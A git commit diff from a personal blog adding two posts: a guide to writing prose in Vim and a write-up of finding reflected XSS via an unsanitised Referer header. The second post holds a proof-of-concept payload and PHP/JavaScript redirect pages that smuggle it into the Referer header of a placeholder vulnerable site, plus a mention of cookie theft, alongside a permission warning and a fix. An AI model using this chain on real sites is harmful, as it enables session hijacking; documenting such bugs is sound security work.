parent
9d8c010bad
commit
72c1b072cc
5 changed files with 360 additions and 23 deletions
@ -1,4 +1,6 @@ |
|||||||
generated-template-parts |
generated-template-parts |
||||||
public_html |
public_html |
||||||
|
public_gemini |
||||||
tmp |
tmp |
||||||
assets/css/main.min.css |
assets/css/main.min.css |
||||||
|
xxx-* |
||||||
|
@ -0,0 +1,175 @@ |
|||||||
|
--- |
||||||
|
title: Writing Prose in Vim |
||||||
|
tags: |
||||||
|
- Vim |
||||||
|
description: Vim is a popular text editor among programmers, it is not limited to programming though. In this blog I will discuss how I write just about everything in vim |
||||||
|
date: 2021-10-06 |
||||||
|
--- |
||||||
|
|
||||||
|
If you know me at all, you probably know I am a fan of vim. I have written [more |
||||||
|
than a few](/tag/vim.html) blog posts on it already. |
||||||
|
|
||||||
|
Most vim users use vim for programming. That is, after all, what most people use |
||||||
|
plain text editors for. However, since learning vim, I have tried to use it for |
||||||
|
as much as I can. Everything from emails to blog posts to letters. Of course, |
||||||
|
programming as well, but certainly not only that. |
||||||
|
|
||||||
|
"Why?", you might ask. Because it makes my life easier. I have said before that |
||||||
|
Vim is not as difficult as many vim users would like you to think it is. |
||||||
|
|
||||||
|
## Spellcheck |
||||||
|
|
||||||
|
I need a spell check. My spelling is atrocious. This is not helped by the fact |
||||||
|
that I am dyslexic. Having a decent spell checker is essential if I am writing |
||||||
|
anything that is going to be read by another human. Incidently, I count future |
||||||
|
me as another human in this regard. |
||||||
|
|
||||||
|
Vim has a built-in spell check. |
||||||
|
|
||||||
|
```vim |
||||||
|
set spell |
||||||
|
set spelllang=en_gb |
||||||
|
``` |
||||||
|
|
||||||
|
How it will look will depend on your colour scheme but in my case it is an |
||||||
|
underline. |
||||||
|
|
||||||
|
Basic usage consists of the following keyboard shortcuts: |
||||||
|
|
||||||
|
* `[s` or `]s` to move between misspelled words |
||||||
|
* `z=` to get a list of suggestions |
||||||
|
* `zg` to add the current word to your custom dictionary |
||||||
|
|
||||||
|
As with anything in vim, these shortcuts can be changed, although I have never |
||||||
|
felt the need to. |
||||||
|
|
||||||
|
Vim's insert completion can be used to look up words in the internal dictionary |
||||||
|
as well. To use this, start writing a word and complete it with `ctrl-x ctrl-k`. |
||||||
|
|
||||||
|
This will present you with a list of words that start with what you have typed. |
||||||
|
You can select one, as normal, with `ctrl-n` and `ctrl-p`. |
||||||
|
|
||||||
|
Finally, on the topic of spell checking, I have added an insert mode mapping |
||||||
|
that is used to correct the previous misspelled word. |
||||||
|
|
||||||
|
The mapping is as follows: |
||||||
|
|
||||||
|
```vim |
||||||
|
inoremap <C-l> <c-g>u<Esc>[s1z=`]a<c-g>u |
||||||
|
``` |
||||||
|
|
||||||
|
1. `<c-g>u` - break undo sequence (new change) |
||||||
|
1. `<Esc>` - go into normal mode |
||||||
|
1. `[s` - go to previous spelling mistake |
||||||
|
1. `1z=` - change to the top spelling suggestion |
||||||
|
1. ```]`` - go to the end of the last changed word |
||||||
|
1. `a` - enter insert mode |
||||||
|
1. `<c-g>u` - break undo sequence (new change) |
||||||
|
|
||||||
|
This was shamelessly stolen from [Gilles Castel's excellent blog post on using |
||||||
|
vim for LaTeX](https://castel.dev/post/lecture-notes-1/#correcting-spelling-mistakes-on-the-fly) |
||||||
|
|
||||||
|
## Undo Points |
||||||
|
|
||||||
|
When programming in vim, a lot of time is spent in both normal mode and insert |
||||||
|
mode. However, when writing prose, much more time is spent in insert mode. As a |
||||||
|
result, each undo point tends to be much larger. This can result in the rather |
||||||
|
annoying behaviour that undoing anything can remove a huge amount of writing. |
||||||
|
|
||||||
|
To minimize this annoyance, I add undo points whenever I type punctuation |
||||||
|
points. |
||||||
|
|
||||||
|
```vim |
||||||
|
inoremap ! !<C-g>u |
||||||
|
inoremap , ,<C-g>u |
||||||
|
inoremap . .<C-g>u |
||||||
|
inoremap : :<C-g>u |
||||||
|
inoremap ; ;<C-g>u |
||||||
|
inoremap ? ?<C-g>u |
||||||
|
inoremap ( <C-g>u( |
||||||
|
inoremap ) )<C-g>u |
||||||
|
``` |
||||||
|
|
||||||
|
The only point I really need to elaborate on here is that for the opening |
||||||
|
bracket: I add the undo-point before inserting the character. This results in |
||||||
|
what I consider preferable behaviour whereby a whole bracket group is removed at |
||||||
|
once when undoing, rather than leaving the opening bracket. |
||||||
|
|
||||||
|
## Distraction Free Writing |
||||||
|
|
||||||
|
Distraction free writing seems to be quite a fashionable / desirable feature in |
||||||
|
a lot of editors at the moment. I have tried and used [Goyo](https://github.com/junegunn/goyo.vim) |
||||||
|
and [limelight](https://github.com/junegunn/limelight.vim) which go some way to |
||||||
|
reproducing the distraction free environment of many other editors. However, I |
||||||
|
no longer use them. Both worked well, but vim doesn't have that many |
||||||
|
distractions without them. When I am writing, I open vim in a full screen |
||||||
|
terminal. I don't even have a clock visible. Being able to highlight the |
||||||
|
paragraph I am currently working on or putting the text in the middle of the |
||||||
|
screen wasn't worth it for me. |
||||||
|
|
||||||
|
## Proselint |
||||||
|
|
||||||
|
[Proselint](https://github.com/amperser/proselint), as the name suggests, is a |
||||||
|
linter for prose. It points out areas where my writing could be better. To use |
||||||
|
it with vim, I have the following autofunction: |
||||||
|
|
||||||
|
```vim |
||||||
|
function! mine#functions#proselint() abort |
||||||
|
let oldmakeprg = &l:makeprg |
||||||
|
" set new value of makeprg and call the function |
||||||
|
set makeprg=proselint\ % |
||||||
|
make |
||||||
|
copen |
||||||
|
" set makeprg back to old value |
||||||
|
let &l:makeprg = oldmakeprg |
||||||
|
endfunction |
||||||
|
``` |
||||||
|
|
||||||
|
and a mapping: |
||||||
|
|
||||||
|
```vim |
||||||
|
nnoremap <leader>p :call mine#functions#proselint()<CR> |
||||||
|
``` |
||||||
|
|
||||||
|
This allows me to fill the quickfix list with a list of suggestions from |
||||||
|
proselint. |
||||||
|
|
||||||
|
## LanguageTool |
||||||
|
|
||||||
|
LanguageTool is similar in concept to Proselint although seems to have a lot |
||||||
|
more checks under its hood. It can be intergrated into vim in a similar way to |
||||||
|
Proselint, with an autofunction. |
||||||
|
|
||||||
|
```vim |
||||||
|
function! mine#functions#languagetool() abort |
||||||
|
let oldmakeprg = &l:makeprg |
||||||
|
let olderrformat = &l:errorformat |
||||||
|
" set new value of makeprg and call the function |
||||||
|
set makeprg=languagetool\ -l\ en-GB\ % |
||||||
|
let &l:errorformat = |
||||||
|
\ '%-GPicked up _JAVA_OPTIONS: %.%#,' . |
||||||
|
\ '%-GExpected text language: %.%#,' . |
||||||
|
\ '%-PWorking on %f...,' . |
||||||
|
\ '%-I%.%# [main] DEBUG %.%#,' . |
||||||
|
\ '%+IUsing %.%# for file %.%#,' . |
||||||
|
\ '%I%\d%\+.) Line %l\, column %c\, Rule ID: %m,' . |
||||||
|
\ '%-CMessage%m,' . |
||||||
|
\ '%-CSuggestion%m,' . |
||||||
|
\ '%-CMore info%m,' . |
||||||
|
\ '%-C%\s%#^%\+%\s%#,' . |
||||||
|
\ '%-C%.%#,' . |
||||||
|
\ '%-Z%\s%#,' . |
||||||
|
\ '%-Q,' . |
||||||
|
\ '%-GTime: %.%#' |
||||||
|
make |
||||||
|
copen |
||||||
|
" set makeprg back to old value |
||||||
|
let &l:makeprg = oldmakeprg |
||||||
|
let &l:makeprg = olderrformat |
||||||
|
endfunction |
||||||
|
``` |
||||||
|
|
||||||
|
You will notice that this is slightly longer because the error format used by |
||||||
|
Proselint is compatible with Vim's default. LanguageTool's is not. |
||||||
|
|
||||||
|
|
@ -0,0 +1,140 @@ |
|||||||
|
--- |
||||||
|
title: XSS Through the Referer Header |
||||||
|
tags: |
||||||
|
- Security |
||||||
|
description: In this blog post, I document how I achieved reflected XSS though a malicious http header. |
||||||
|
date: 2021-10-14 |
||||||
|
--- |
||||||
|
|
||||||
|
XSS is a vulnerability in which a malicious actor is able to run JavaScript in |
||||||
|
an unsuspecting clients browser session. Normally, this is done via input fields |
||||||
|
whose values are reflected back to the user without proper sanitisation. |
||||||
|
|
||||||
|
In this blog, I demonstrate a method I recently used that injected the payload |
||||||
|
via the Referer [sip] header. |
||||||
|
|
||||||
|
Only do this on websites you own or have permission to do so no. It is illegal |
||||||
|
in most places to do this without permission. |
||||||
|
|
||||||
|
## Initial foothold |
||||||
|
|
||||||
|
I found myself looking at a website whose input fields were all well sanitised, |
||||||
|
getting ready to write a pretty boring report. However, I spotted a snippet of |
||||||
|
JavaScript in an analytics script that looked something like this: |
||||||
|
|
||||||
|
```js |
||||||
|
<script> |
||||||
|
{ |
||||||
|
... |
||||||
|
"referer": "site.com/page" |
||||||
|
... |
||||||
|
} |
||||||
|
</script> |
||||||
|
``` |
||||||
|
|
||||||
|
That sparked my interest so I opened pappy and changed the referer header to `" |
||||||
|
+ alert(1),"":"`. |
||||||
|
|
||||||
|
BRILLIANT! That worked. The referer header was not being sanitised. |
||||||
|
|
||||||
|
|
||||||
|
## Crafting the referer header |
||||||
|
|
||||||
|
So, that is nice, but it would take some serious social engineering to convince |
||||||
|
someone to intercept a request in burp / pappy / some other proxy tool, change |
||||||
|
their referer header to our payload and then submit the request. Really we |
||||||
|
needed a way to control that header ourselves. For anyone that doesn't know, the |
||||||
|
[referer header](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referer) |
||||||
|
holds the address of the page that makes the request. This basically means the |
||||||
|
previous page if a link was clicked. |
||||||
|
|
||||||
|
There is also a related header called [referrer-policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Referrer-Policy) |
||||||
|
that controls how much information is sent. I want to send as much as possible |
||||||
|
so I manually set this to `unsafe-url` for my proof of concept. |
||||||
|
|
||||||
|
```php |
||||||
|
<?php |
||||||
|
header('Referrer-Policy: unsafe-url'); |
||||||
|
?> |
||||||
|
``` |
||||||
|
|
||||||
|
I am using php here because I know it. I'm not saying php is the best choice. |
||||||
|
Use what you know and can use quickly for proof of concepts. |
||||||
|
|
||||||
|
My initial thought was to simply use HTTP redirects to first redirect the user |
||||||
|
to a page whose url contained my payload, and then from there to the vulnerable |
||||||
|
page. |
||||||
|
|
||||||
|
The code for that was: |
||||||
|
|
||||||
|
```php |
||||||
|
<?php |
||||||
|
$payload='"+alert(1),"":"'; |
||||||
|
header('Referrer-Policy: unsafe-url'); |
||||||
|
if ( $_SERVER['REQUEST_URI'] == "/index.php" ) { |
||||||
|
header('Location: //localhost:8081/index.php/' . urlencode($payload)); |
||||||
|
}else{ |
||||||
|
header('Location: https://vulnerable-site.com/page'); |
||||||
|
} |
||||||
|
?> |
||||||
|
``` |
||||||
|
|
||||||
|
That didn't work. After some searching I realised that the referer header is not |
||||||
|
changed when an http redirect is followed. It does however if the url is changed |
||||||
|
with JS. |
||||||
|
|
||||||
|
```php |
||||||
|
$payload='"+alert(1),"":"'; |
||||||
|
header('Referrer-Policy: unsafe-url'); |
||||||
|
if ( $_SERVER['REQUEST_URI'] == "/index.php" ) { |
||||||
|
$location='//localhost:8081/index.php/' . urlencode($payload); |
||||||
|
}else{ |
||||||
|
$location='https://vulnerable-site.com/page'; |
||||||
|
} |
||||||
|
<!DOCTYPE html> |
||||||
|
<html lang="en"> |
||||||
|
<head> |
||||||
|
<meta charset="UTF-8" /> |
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1" /> |
||||||
|
<title>Example</title> |
||||||
|
<script> |
||||||
|
document.location="<?php echo $location; ?>"; |
||||||
|
</script> |
||||||
|
</head> |
||||||
|
<body> |
||||||
|
Example |
||||||
|
</body> |
||||||
|
</html> |
||||||
|
``` |
||||||
|
|
||||||
|
So, after hosting this at localhost:8081, I was able to visit it in my browser. |
||||||
|
If doing this in the real world, I would host it on a public server somewhere |
||||||
|
and try and convince a victim to click a link. |
||||||
|
|
||||||
|
In my case, the initial link would be to `//localhost:8081/index.php`. This |
||||||
|
would then use JS to redirect the victim to to |
||||||
|
`//localhost:8081/index.php/%22%2Balert%281%29%2C%22%22%3A%22`. We would then |
||||||
|
use JS again to redirct the user to the vulnerable site. With the |
||||||
|
referrer-policy header set to unsafe-url, the browser will set the referer |
||||||
|
header to the url including our payload and trigger our payload. In this |
||||||
|
example, we are doing `alert(1)`. That's pretty boring and obvious to the user. |
||||||
|
However, in the real world, we could send another request back to our server |
||||||
|
with the contents of document.cookie to steal the session, or prompt the user to |
||||||
|
re-enter their credentials and send that to ourselves. Once you have |
||||||
|
unrestricted XSS, account compromise is normally possible. |
||||||
|
|
||||||
|
## Improvements |
||||||
|
|
||||||
|
Many of you may have noticed ways to improve the payload. For example, I hard |
||||||
|
coded localhost:8081, the payload and various other information. If you want, |
||||||
|
feel free to improve it but this is supposed to be a proof of concept, not a |
||||||
|
well build program. When you're making POCs, it's the one time you really don't |
||||||
|
need to worry about coding well - it's about getting something that works in a |
||||||
|
short time frame. |
||||||
|
|
||||||
|
## Solution |
||||||
|
|
||||||
|
This issue came about because http headers were trusted. If the site had |
||||||
|
validated the http header, or encoded it in some way, this would not have been |
||||||
|
possible. Always sanitise. Never assume that anything that comes in the request |
||||||
|
is safe. |
Loading…
Reference in new issue